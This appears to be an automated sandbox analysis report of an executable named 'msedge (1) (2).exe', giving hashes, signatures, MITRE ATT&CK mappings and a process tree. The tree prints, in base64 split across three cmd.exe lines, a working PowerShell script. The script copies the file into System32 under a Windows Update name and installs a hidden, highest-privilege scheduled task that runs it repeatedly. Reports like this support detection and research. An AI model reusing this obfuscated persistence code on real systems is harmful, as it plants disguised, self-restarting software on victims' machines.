c92181f1511afc52f73eb2653789addca570e338956c5b1d2d4d91ffc9da53d3

General

Target
msedge (1) (2).exe
Size 41KB
Sample260811-tr1ckswfja
SHA256 c92181f1511afc52f73eb2653789addca570e338956c5b1d2d4d91ffc9da53d3
MD5 3327629e32260bba932130b5a9e92dc6
SHA1 f1f4ebab7f190241a06bb30d1b8b0eac224f6a72
SHA512 3f83f8f20dc30da5fc3a6b204aae8460b2b376e5a18e6cc7e465ba8a976aaede89571aeedf8ef937f491c6e39d17024fd59f8c397f95f65b01aace6a147c1f0d
SSDEEP 768:AK80TEIghWxOa+KwRSZSjobg+Q/T3sfyEE8mLk5U0:c0TEIghWxOaxwRSZqobg+QAfzj40
TLSH
T14C13185FEA7920D2E9B9E03CC596712AF9B035E103B15BC35791862A0B737E4B93D384
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

execution

Malware Config

Signatures

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2420	cmd.exe
6008	cmd.exe
3588	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 6012 wrote to memory of 2420	6012	msedge (1) (2).exe	90
PID 6012 wrote to memory of 6008	6012	msedge (1) (2).exe	92
PID 6012 wrote to memory of 3588	6012	msedge (1) (2).exe	94

C:\Users\Admin\AppData\Local\Temp\msedge (1) (2).exe
"C:\Users\Admin\AppData\Local\Temp\msedge (1) (2).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6012
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c JABQAGEAeQBsAG8AYQBkAE0AYQBzAGsAIAA9ACAAIgBtAHMAZQBkAGcAZQAiADsAIAAkAEQAZQBzAHQAIAA9ACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUATABpAHMAdAAuAGUAeABlACIAOwAgACQAVABhAHMAawBOAGEAbQBlACAAPQAgACIAVwBpAG4AZABvAHcAcwBVAHAAZABhAHQAZQBMAGkAcwB0ACIAOwAgACQAcwByAGMAIAA9ACAAIgAiADsAIAAkAGQAaQByAHMAIAA9ACAAQAAoACAAIAAkAFAAUwBTAGMAcgBpAHAAdABSAG8AbwB0ACwAIAAgACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARABlAHMAawB0AG8AcAAiACwAIAAgACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARABvAHcAbgBsAG8AYQBkAHMAIgAsACAAIAAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEQAbwBjAHUAbQBlAG4AdABzACIALAAgACAAIAAiACQAZQBuAHYAOgBQAFUAQgBMAEkAQwBcAEQAZQBzAGsAdABvAHAAIgAsACAAIAAgACQAZQBuAHYAOgBUAEUATQBQACkAOwAgAGYAbwByAGUAYQBjAGgAKAAkAGQAIABpAG4AIAAkAGQAaQByAHMAKQAgAHsAIAAgAGkAZgAoACQAZAAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABkACkAKQAgAHsAIAAgACAAIAAkAGYAbwB1AG4AZAAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJABkACAALQBGAGkAbAB0AGUAcgAgACIAJABQAGEAeQBsAG8AYQBkAE0AYQBzAGsAKgAuAGUAeABlACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADsAIAAgACAAIAAgAGkAZgAoACQAZgBvAHUAbgBkACkAIAB7ACAAJABzAHIAYwAgAD0AIAAkAGYAbwB1AG4AZAAuAEYAdQBsAGwATgBhAG0AZQA7ACAAYgByAGUAYQBrADsAIAB9ACAAIAB9AH0AOwAgAGkAZgAoAC0AbgBvAHQAIAAkAHMAcgBjACkAIAB7ACAAIAAkAGYAbwB1AG4AZAAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACIAIAAtAEYAaQBsAHQAZQByACAAIgAkAFAAYQB5AGwAbwBhAGQATQBhAHMAawAqAC4AZQB4AGUAIgAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIAAgACAAIAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AbgBvAHQAbQBhAHQAYwBoACAAIgBcACgAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcACgAQwBhAGMAaABlAHwAVABlAG0AcAApAHwAUwBlAHIAdgBpAGMAZQAgAFcAbwByAGsAZQByAHwAUwBoAGEAZABlAHIAQwBhAGMAaABlACkAIgAgAH0AIAB8ACAAIAAgACAAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAOwAgACAAIABpAGYAKAAkAGYAbwB1AG4AZAApACAAewAgACQAcwByAGMAIAA9ACAAJABmAG8AdQBuAGQALgBGAHUAbABsAE4AYQBtAGUAOwAgAH0AfQA7ACAAaQBmACgAJABzAHIAYwAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABzAHIAYwApACkAIAB7ACAAIAB0AHIAeQAgAHsAIABDAG8AcAB5AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcwByAGMAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8A
  2⤵
  - Executes a command shell one-liner
  PID:2420
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bgAgACQARABlAHMAdAAgAC0ARgBvAHIAYwBlACAAfQAgAGMAYQB0AGMAaAAgAHsAfQA7ACAAIAAgACQAdQBzAGUAcgAgAD0AIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFADsAIAAgACAAaQBmACgALQBuAG8AdAAgACQAdQBzAGUAcgApACAAewAgACQAdQBzAGUAcgAgAD0AIAAiAFMAWQBTAFQARQBNACIAOwAgAH0AIAAgACAAJABzAHQAYQByAHQAIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAxACkALgBUAG8AUwB0AHIAaQBuAGcAKAAiAHkAeQB5AHkALQBNAE0ALQBkAGQAVABIAEgAOgBtAG0AOgBzAHMAIgApADsAIAAgACAAJAB4AG0AbAAgAD0AIABAACIAYABuADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAIABlAG4AYwBvAGQAaQBuAGcAPQAiAFUAVABGAC0AMQA2ACIAPwA+ADwAVABhAHMAawAgAHYAZQByAHMAaQBvAG4APQAiADEALgAyACIAIAB4AG0AbABuAHMAPQAiAGgAdAB0AHAAOgAvAC8AcwBjAGgAZQBtAGEAcwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwB3AGkAbgBkAG8AdwBzAC8AMgAwADAANAAvADAAMgAvAG0AaQB0AC8AdABhAHMAawAiAD4AIAAgADwAUgBlAGcAaQBzAHQAcgBhAHQAaQBvAG4ASQBuAGYAbwA+ADwARABlAHMAYwByAGkAcAB0AGkAbwBuAD4AVwBpAG4AZABvAHcAcwAgAFUAcABkAGEAdABlACAAUwBlAHIAdgBpAGMAZQA8AC8ARABlAHMAYwByAGkAcAB0AGkAbwBuAD4APAAvAFIAZQBnAGkAcwB0AHIAYQB0AGkAbwBuAEkAbgBmAG8APgAgACAAPABUAHIAaQBnAGcAZQByAHMAPgAgACAAIAAgADwATABvAGcAbwBuAFQAcgBpAGcAZwBlAHIAPgA8AEUAbgBhAGIAbABlAGQAPgB0AHIAdQBlADwALwBFAG4AYQBiAGwAZQBkAD4APABVAHMAZQByAEkAZAA+ACQAdQBzAGUAcgA8AC8AVQBzAGUAcgBJAGQAPgA8AC8ATABvAGcAbwBuAFQAcgBpAGcAZwBlAHIAPgAgACAAIAAgADwAVABpAG0AZQBUAHIAaQBnAGcAZQByAD4APABTAHQAYQByAHQAQgBvAHUAbgBkAGEAcgB5AD4AJABzAHQAYQByAHQAPAAvAFMAdABhAHIAdABCAG8AdQBuAGQAYQByAHkAPgA8AEUAbgBhAGIAbABlAGQAPgB0AHIAdQBlADwALwBFAG4AYQBiAGwAZQBkAD4APABSAGUAcABlAHQAaQB0AGkAbwBuAD4APABJAG4AdABlAHIAdgBhAGwAPgBQAFQAMQAwAE0APAAvAEkAbgB0AGUAcgB2AGEAbAA+ADwARAB1AHIAYQB0AGkAbwBuAD4AUAAxAEQAPAAvAEQAdQByAGEAdABpAG8AbgA+ADwAUwB0AG8AcABBAHQARAB1AHIAYQB0AGkAbwBuAEUAbgBkAD4AZgBhAGwAcwBlADwALwBTAHQAbwBwAEEAdABEAHUAcgBhAHQAaQBvAG4ARQBuAGQAPgA8AC8AUgBlAHAAZQB0AGkAdABpAG8AbgA+ADwALwBUAGkAbQBlAFQAcgBpAGcAZwBlAHIAPgAgACAAPAAvAFQAcgBpAGcAZwBlAHIAcwA+ACAAIAA8AFAAcgBpAG4AYwBpAHAAYQBsAHMAPgA8AFAAcgBpAG4AYwBpAHAAYQBsACAAaQBkAD0AIgBBAHUAdABoAG8AcgAiAD4APABVAHMAZQByAEkAZAA+ACQAdQBzAGUAcgA8AC8AVQBzAGUAcgBJAGQAPgA8AEwAbwBnAG8AbgBUAHkAcABlAD4ASQBuAHQAZQByAGEAYwB0AGkAdgBlAFQAbwBrAGUAbgA8AC8ATABvAGcAbwBuAFQAeQBwAGUAPgA8AFIAdQBuAEwAZQB2AGUAbAA+AEgAaQBnAGgAZQBzAHQAQQB2AGEAaQBsAGEAYgBsAGUAPAAvAFIAdQBuAEwAZQB2AGUAbAA+ADwALwBQAHIAaQBuAGMAaQBwAGEAbAA+ADwALwBQAHIAaQBuAGMAaQBwAGEAbABzAD4AIAAgADwAUwBlAHQAdABpAG4AZwBzAD4AIAAgACAAIAA8AE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwBQAG8AbABpAGMAeQA+AEkAZwBuAG8AcgBlAE4AZQB3ADwALwBNAHUAbAB0AGkAcABsAGUASQBuAHMAdABhAG4AYwBlAHMAUABvAGwAaQBjAHkAPgAgACAAIAAgADwARABpAHMAYQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzAD4AZgBhAGwAcwBlADwALwBEAGkAcwBhAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAPgAgACAAIAAgADwAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwA+AGYAYQBsAHMAZQA8AC8AUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwA+ACAAIAAgACAAPABBAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQA+AHQAcgB1AGUAPAAvAEEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlAD4AIAAgACAAIAA8AFMAdABhAHIAdABXAGgAZQBuAEEAdgBhAGkAbABhAGIAbABlAD4AZgBhAGwAcwBlADwALwBTAHQAYQByAHQAVwBoAGUAbgBBAHYAYQBpAGwAYQBiAGwAZQA+ACAAIAAgACAAPABSAHUAbgBPAG4AbAB5AEkAZgBOAGUAdAB3AG8AcgBrAEEAdgBhAGkAbABhAGIAbABlAD4AZgBhAGwAcwBlADwALwBSAHUAbgBPAG4AbAB5AEkAZgBOAGUAdAB3AG8AcgBrAEEAdgBhAGkAbABhAGIAbABlAD4AIAAgACAAIAA8AEEAbABsAG8AdwBTAHQAYQByAHQATwBuAEQAZQBtAGEAbgBkAD4AdAByAHUAZQA8AC8AQQBsAGwAbwB3AFMAdABhAHIAdABPAG4ARABlAG0AYQBuAGQAPgAgACAAIAAgADwARQBuAGEAYgBsAGUAZAA+AHQAcgB1AGUAPAAvAEUAbgBhAGIAbABlAGQAPgAgACAAIAAgADwASABpAGQAZABlAG4APgB0AHIAdQBlADwALwBIAGkAZABkAGUAbgA+ACAAIAAgACAAPABSAHUAbgBPAG4AbAB5AEkAZgBJAGQAbABlAD4AZgBhAGwAcwBlADwALwBSAHUAbgBPAG4AbAB5AEkAZgBJAGQAbABlAD4AIAAgACAAIAA8AFcAYQBrAGUAVABvAFIAdQBuAD4AZgBhAGwAcwBlADwALwBXAGEAawBlAFQAbwBSAHUAbgA+ACAAIAAgACAAPABFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAA+AFAAVAAwAFMAPAAvAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0AD4AIAAgACAAIAA8AFAAcgBpAG8AcgBpAHQAeQA+ADcAPAAvAFAAcgBpAG8AcgBpAHQAeQA+ACAAIAA8AC8AUwBlAHQAdABpAG4AZwBzAD4AIAAgADwAQQBjAHQAaQBvAG4AcwAgAEMAbwBuAHQAZQB4AHQAPQAiAEEAdQB0AGgAbwByACIAPgA8AEUAeABlAGMAPgA8AEMAbwBtAG0AYQBuAGQAPgAkAEQAZQBzAHQAPAAvAEMAbwBtAG0AYQBuAGQ
  2⤵
  - Executes a command shell one-liner
  PID:6008
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c APgA8AFcAbwByAGsAaQBuAGcARABpAHIAZQBjAHQAbwByAHkAPgBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyADwALwBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5AD4APAAvAEUAeABlAGMAPgA8AC8AQQBjAHQAaQBvAG4AcwA+ADwALwBUAGEAcwBrAD4AYAAiAEAAOwAgACAAJAB4AG0AbABQAGEAdABoACAAPQAgACIAJABlAG4AdgA6AFQARQBNAFAAXAB3AHUAXwB0AGEAcwBrAC4AeABtAGwAIgA7ACAAIAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABUAGUAeAB0ACgAJAB4AG0AbABQAGEAdABoACwAIAAkAHgAbQBsACwAIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlACkAOwAgACAAIAAmACAAcwBjAGgAdABhAHMAawBzAC4AZQB4AGUAIAAvAEMAcgBlAGEAdABlACAALwBUAE4AIAAiACQAVABhAHMAawBOAGEAbQBlACIAIAAvAFgATQBMACAAIgAkAHgAbQBsAFAAYQB0AGgAIgAgAC8ARgAgAHwAIABPAHUAdAAtAE4AdQBsAGwAOwAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAHgAbQBsAFAAYQB0AGgAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgACAAIAAkAHAAcgBvAGMATgBhAG0AZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABGAGkAbABlAE4AYQBtAGUAKAAkAEQAZQBzAHQAKQA7ACAAIAAgACQAaQBzAFIAdQBuAG4AaQBuAGcAIAA9ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQARgBpAGwAZQBOAGEAbQBlAFcAaQB0AGgAbwB1AHQARQB4AHQAZQBuAHMAaQBvAG4AKAAkAEQAZQBzAHQAKQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAIAAgAGkAZgAoAC0AbgBvAHQAIAAkAGkAcwBSAHUAbgBuAGkAbgBnACkAIAB7ACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABEAGUAcwB0ACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7ACAAIAAgAH0AOwAgACAAIABpAGYAKAAoAFIAZQBzAG8AbAB2AGUALQBQAGEAdABoACAAJABzAHIAYwApAC4AUABhAHQAaAAgAC0AbgBlACAAKABSAGUAcwBvAGwAdgBlAC0AUABhAHQAaAAgACQARABlAHMAdAApAC4AUABhAHQAaAApACAAewAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcwByAGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAIAAgAH0AOwAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBbACsAXQAgACMEQQQ/BDUESAQ9BD4EIABDBEEEQgQwBD0EPgQyBDsENQQ9BD4EOgAgACQARABlAHMAdAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFsALQBdACAAJAQwBDkEOwQgAD0ENQQgAD0EMAQ5BDQENQQ9BCAAPQQwBCAAQQQ4BEEEQgQ1BDwENQQiADsAIAB9AA==
  2⤵
  - Executes a command shell one-liner
  PID:3588

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads